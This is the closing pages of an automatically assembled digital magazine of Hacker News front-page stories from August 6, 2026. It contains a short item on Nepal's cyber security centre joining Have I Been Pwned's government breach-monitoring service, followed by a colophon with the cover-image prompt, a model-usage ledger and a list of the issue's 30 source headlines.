Need it fully domestic? We run the entire build inside a US supply base we manage. Say the word and your boards never leave the country.

Halftone United States flag

The Daily Front Page 28 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Devices & Production
article

Welcoming the Nepalese Government to Have I Been Pwned

by gnabgib·▲ 126 points·19 comments·troyhunt.com ↗

Today, we welcome the 47th government onboarded to Have I Been Pwned’s free gov service: Nepal. Their National Cyber Security Centre now has access to monitor Nepalese government domains against the data in HIBP. This gives the NCSC the ability to identify exposure across government email addresses and respond quickly when those accounts appear in a new data breach.

This is precisely what the HIBP government service was built for: helping national cyber teams strengthen threat monitoring and incident response capabilities by providing visibility into compromised credentials and breached accounts across their government domain space.

Nepal joins a growing list of governments and national cybersecurity teams using HIBP to better understand their exposure, protect government departments and public resources, and reduce the risk posed by compromised credentials before attackers can take advantage.

The Daily Front Page 29 of 30
Thursday, August 6, 2026 The Daily Front No. #260806 — Colophon

That's the Front for Today

Issue No. #260806 — Thursday, August 6, 2026 — went to press 2026-08-07 at 08:14 UTC.

About This Magazine

The Daily Front is a daily digital magazine assembled from the stories that reached the front page of Hacker News on Thursday, August 6, 2026. Headlines, points, and comment counts are recorded as they stood at press time. All articles remain the property of their original authors — every piece links back to its source and its discussion thread.

How It Was Made

Fetched, cleaned, and typeset by an automated pipeline. An editor model laid out the pages, chose the highlights, and briefed the cover illustrator — 44 model calls and 350k tokens in total. Set in Jacquard 12, Playfair Display, Source Serif 4, and IBM Plex Mono, all served via Google Fonts under the SIL Open Font License.

The Cover

The cover illustration was commissioned with this prompt:

A dramatic classical newspaper-style illustration of a vast nighttime industrial landscape: a glowing silicon wafer is being lowered like a moon into an advanced chip foundry, while luminous circuit traces flow outward into a dense city skyline, a quiet botanical garden, and a distant racetrack. In the foreground, a lone engineer studies a mechanical keyboard beside a control console; beyond it, cooling towers and data-center buildings loom near a wildlife enclosure. Ink-etched textures, deep cobalt and copper palette, cinematic light, intricate detail, no text, no letters, no logos.

Absolutely no text, letters, numbers, readable symbols, or logos anywhere in the image.

Production Ledger

StageModelCallsTokens InTokens Out
extractgpt-5.6-luna 41 261,234 66,751
layoutgpt-5.6-terra 1 18,231 2,757
covergpt-5.6-luna 2 660 241

The Publisher

Published by Johnny.

Support the Press

If The Daily Front brightens your morning, consider supporting its publisher.

Credits & Contact

All content — articles, posts, comments, and the images within them — belongs to its original authors and is reproduced here to point readers back to the source. Full credit goes to those creators; every item links to its original and its Hacker News discussion.

If you are an author and would like your content removed from an issue, write to hi@johnnys.page and it will be taken down.

Feedback is always welcome at the same address: hi@johnnys.page.

Credit where credit is due.

Every page of this issue began as someone else's work — these are the original sources, linked in full.

  1. Mario Meets Pareto by theanonymousone — mayerowitz.io·HN discussion ↗
  2. AMD acquires Taalas to boost inference performance by etching models in silicon by itvision — theregister.com·HN discussion ↗
  3. Crime Pays but Botany Doesn't by DarkContinent — crimepaysbutbotanydoesnt.com·HN discussion ↗
  4. Humans missed 1 in 3 threats approving AI agent commands across 40k game runs by Wirbelwind — scalex.dev·HN discussion ↗
  5. Software development with AI is starting to feel like cooking steak by yusyd — blog.sydorets.com·HN discussion ↗
  6. Taste Is All That's Left by tsak — notashelf.dev·HN discussion ↗
  7. Improving GPT‑5.6 Sol in ChatGPT, expanding GPT‑5.6 Luna access for free users by tedsanders — openai.com·HN discussion ↗
  8. Inside vLLM: Anatomy of a High-Throughput LLM Inference System (2025) by sebg — aleksagordic.com·HN discussion ↗
  9. GitHub Actions and Pages are experiencing degraded availability by Footkerchief — githubstatus.com·HN discussion ↗
  10. GitHub Is Experiencing Difficulties by Jeaye — githubstatus.com·HN discussion ↗
  11. Herdr is joining Y Combinator. The runtime stays open by collinmanderson — herdr.dev·HN discussion ↗
  12. Show HN: The Channels SDK – Bring Any Agent to Any Channel (Slack, MS Teams) by davidmckayv — github.com·HN discussion ↗
  13. What I love about Django by j4mie — buttondown.com·HN discussion ↗
  14. Federal Communications Commission scraps limit on broadcast TV ownership by pseudolus — nbcnews.com·HN discussion ↗
  15. xAI, SpaceX, and the Race for AI Buildout by speckx — illegal.solutions·HN discussion ↗
  16. Civilians under siege by Mexican cartel fight back with AK-47s, grenades by starkparker — pbs.org·HN discussion ↗
  17. Four simple rules behind Japan's most liveable cities by tchalla — bbc.com·HN discussion ↗
  18. Quake – 30th Anniversary Update by dsubburam — slayersclub.bethesda.net·HN discussion ↗
  19. Show HN: I spent 2 years designing a mechanical Magic Keyboard by aemerson_ — electronicmaterialsoffice.com·HN discussion ↗
  20. Let's all meet up in the Y2K by msephton — blog.gingerbeardman.com·HN discussion ↗
  21. Qwen3.8 Max now ranked as the best overall model by agentic index by apitman — artificialanalysis.ai·HN discussion ↗
  22. Bioengineered chewing gum may offer a way to fight HPV and other microbes by Audiophilip — sciencedaily.com·HN discussion ↗
  23. Dress made of living mycelium can renew and repair itself by speckx — dezeen.com·HN discussion ↗
  24. Nashville uses eminent domain to block data center near zoo by mapping365 — costar.com·HN discussion ↗
  25. France is banning unsolicited telemarketing calls starting next week by geox — apnews.com·HN discussion ↗
  26. My phone detects going on a run as “someone snatching my phone and running off” by luu — mastodon.gamedev.place·HN discussion ↗
  27. A handful of cities have replaced Flock with Axon by cdrnsf — 404media.co·HN discussion ↗
  28. On non-rooted Android 17, ADB uninstall of system apps fails by microtonal — github.com·HN discussion ↗
  29. Launch HN: ProvenMetal (YC S26) delivers circuit boards in days instead of weeks by willcarkner — provenmetal.com·HN discussion ↗
  30. Welcoming the Nepalese Government to Have I Been Pwned by gnabgib — troyhunt.com·HN discussion ↗

Browse all issues in the archive →